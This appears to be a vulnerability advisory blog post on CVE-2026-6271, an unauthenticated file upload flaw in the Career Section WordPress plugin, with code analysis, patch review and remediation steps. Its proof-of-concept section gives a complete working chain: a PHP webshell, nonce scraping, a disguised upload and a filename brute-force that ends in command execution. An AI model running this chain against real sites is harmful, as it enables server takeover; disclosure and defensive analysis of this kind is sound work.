CVE-2026-6271: Unauthenticated RCE in Career Section Plugin (CVSS 9.8)
Table of Contents
CVE-2026-6271 is a CVSS 9.8 Critical Unauthenticated Arbitrary File Upload vulnerability in the Career Section WordPress plugin. Any visitor — no account needed — can upload a PHP webshell through the job application form and execute arbitrary commands on the server.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Career Section |
| Plugin Slug | career-section |
| CVE ID | CVE-2026-6271 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary File Upload |
| Affected Versions | <= 1.7 |
| Patched Version | 1.8 |
| Published | May 13, 2026 |
| Researcher | Paolo Tresso - Wordfence |
| Wordfence Advisory | Link |
Description
The Career Section plugin lets site owners publish job listings and collect applications. Each job post shows an “Apply Now” button that opens a form. The form accepts a CV file upload. In versions up to and including 1.7, that upload handler accepts any file type — including executable PHP files. Because the form is public and the CSRF token is embedded in the page HTML, no login or special permission is needed to exploit this.
An attacker can upload a PHP webshell. The server then stores it in a publicly accessible directory. The attacker requests the file directly, and the web server executes it. This gives the attacker full remote code execution on the host.
Technical Analysis
Execution Path
The plugin registers a custom post type csection for job listings via index.php. When a visitor views a job post, WordPress loads the template templates/single-csection.php.
That template serves two purposes: it renders the job detail page, and it processes the form submission when $_POST['first_name'] and $_POST['csaf_form_nonce'] are set.
// templates/single-csection.php — line 141
if ( isset( $_POST['first_name'], $_POST['csaf_form_nonce'] ) ){
Nonce Does Not Prevent Unauthenticated Access
The code does verify a nonce at line 151:
if ( ! wp_verify_nonce( $nonce, 'csaf_form_submission' ) ) {
wp_die( esc_html__( 'Nonce verification failed', 'career-section' ) );
}
WordPress nonces are CSRF tokens, not authentication tokens. The nonce value is embedded in the form HTML for every visitor:
// templates/single-csection.php — line 316
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
Any unauthenticated visitor who loads a job listing page receives a valid nonce in the page source. They can use that nonce to pass the verification check.
Missing File Type Validation
After passing the nonce check, the upload handler at lines 170–182 moves the file with no restriction on type:
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
// Sanitize filename
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Use WP_Filesystem to move the file instead of move_uploaded_file()
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$cvfiles = "with your cv.";
$uploaded_file_url = $upload_dir['baseurl'] . '/cs_applicant_submission_files/' . $name_file;
}
}
sanitize_file_name() only cleans up special characters. It does not block dangerous extensions like .php. The file is moved to:
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
There is no .htaccess file in that directory to block PHP execution. The uploaded PHP file is directly accessible via the web server and will execute.
Why It Is Critical
- No authentication required — the nonce is publicly visible in the page HTML
- No file type restriction — any extension is accepted, including
.php,.php5,.phtml - No .htaccess protection — the uploads subdirectory allows PHP execution
- Predictable path — the filename is
time()_+ sanitized original name, which is guessable using the upload timestamp
Proof of Concept
Disclaimer: This PoC is for educational purposes only. Only test on systems you own or have explicit written permission to test.
Prerequisites: Career Section plugin installed and active, version ≤ 1.7. At least one job post published.
Step 1 — Create a PHP Webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Step 2 — Get a Valid Nonce from the Page
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/" # any csection post URL
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
Step 3 — Upload the Webshell
Record the current Unix timestamp before sending to estimate the filename:
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "email_address=attacker@evil.com" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "cv=@shell.php;type=application/pdf" | grep -o "Application has been sent"
Step 4 — Execute the Webshell
The filename is <timestamp>_shell.php. Try timestamps around $TS:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell active at: $URL"
echo "RCE output: $RESULT"
break
fi
done
Expected output:
Webshell active at: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Patch Analysis
Version 1.8 fixes the vulnerability with four changes.
1. File Type Allowlist
The patch adds an explicit allowlist of safe document types:
$csaf_allowed_types = array(
'pdf' => 'application/pdf',
'doc' => 'application/msword',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
);
It then validates both the extension and the actual MIME type using WordPress’s wp_check_filetype_and_ext():
$csaf_filetype = wp_check_filetype_and_ext( $csaf_file['tmp_name'], $csaf_file['name'], $csaf_allowed_types );
if ( ! $csaf_filetype['ext'] || ! $csaf_filetype['type'] ) {
wp_die( 'Invalid file type. Only PDF/DOC/DOCX allowed.' );
}
wp_check_filetype_and_ext() checks the file’s real content (magic bytes), not just the declared extension. Renaming shell.php to shell.pdf will fail this check.
2. Random Filename
The patch replaces the predictable time()_filename pattern with a 32-character random string:
$csaf_name_file = wp_generate_password( 32, false ) . '.' . $csaf_filetype['ext'];
This prevents attackers from guessing the upload path.
3. .htaccess Protection
The patch creates a .htaccess file in the upload directory that blocks PHP execution:
file_put_contents( $csaf_htaccess,
"php_flag engine off\n<FilesMatch \"\\.php$\">\nDeny from all\n</FilesMatch>"
);
This is a defense-in-depth measure. Even if a PHP file reaches the directory somehow, it cannot be executed.
4. Authenticated Download Endpoint
Instead of serving files directly via a public URL, the patch routes file downloads through an admin endpoint that checks authentication and a valid nonce:
function csaf_download_cv() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized' );
}
if ( ! isset( $_GET['cs_nonce'] ) ||
! wp_verify_nonce( sanitize_text_field(wp_unslash( $_GET['cs_nonce'] )), 'csaf_download_cv' )
) {
wp_die( 'Invalid request' );
}
// ... serve file securely
}
add_action( 'admin_post_csaf_download_cv', 'csaf_download_cv' );
Uploaded CVs are no longer directly accessible to anyone who guesses or discovers the filename.
Does the Fix Address the Root Cause?
Yes. The fix addresses the root cause (missing file type validation) and adds three additional layers of defense. The combination of content-based MIME validation, random filenames, .htaccess blocking, and an authenticated download endpoint makes this exploitation path effectively closed.
Timeline
| Date | Event |
|---|---|
| May 13, 2026 | Wordfence publishes the advisory |
| May 13, 2026 | Version 1.8 released with the fix |
| May 14, 2026 | This blog post published |
Remediation
Update the Career Section plugin to version 1.8 or later. Log in to your WordPress admin, go to Plugins → Installed Plugins, find Career Section, and click Update Now.
If you cannot update immediately:
- Deactivate the plugin until you can update
- Check
wp-content/uploads/cs_applicant_submission_files/for any.phpor other executable files and remove them - Add a
.htaccessfile to that directory with the following content to block PHP execution:
php_flag engine off
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
References
- Wordfence Advisory — CVE-2026-6271
- Career Section on WordPress.org
- CVE-2026-6271 on MITRE
- Changeset 3507917 — patch commit
- Changeset 3507912 — patch commit
- Changeset 3507785 — patch commit
Frequently Asked Questions
What is CVE-2026-6271?
CVE-2026-6271 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Career Section WordPress plugin that allows any visitor to upload a PHP webshell and execute arbitrary commands on the server.
Which versions of Career Section are affected by CVE-2026-6271?
All versions of Career Section up to and including 1.7 are affected. Version 1.8 contains the fix and is safe to use.
What can an attacker do with CVE-2026-6271?
An attacker can upload a PHP webshell through the public job application form. Once the file is on the server, the attacker can request it directly and execute arbitrary commands, gaining full remote code execution on the host.
Does an attacker need to be logged in to exploit CVE-2026-6271?
No. The vulnerability is unauthenticated. Any visitor can exploit it without an account because the required nonce value is visible in the public job listing page HTML.
How do I fix CVE-2026-6271 in Career Section?
Update Career Section to version 1.8 or later. Log in to your WordPress admin dashboard, go to Plugins, find Career Section, and click Update Now. You can also update from the plugin page on wordpress.org.
Has Career Section been patched for CVE-2026-6271?
Yes. Version 1.8 was released on May 13, 2026 and fully resolves the vulnerability by adding a file type allowlist, random filenames, htaccess blocking, and an authenticated download endpoint.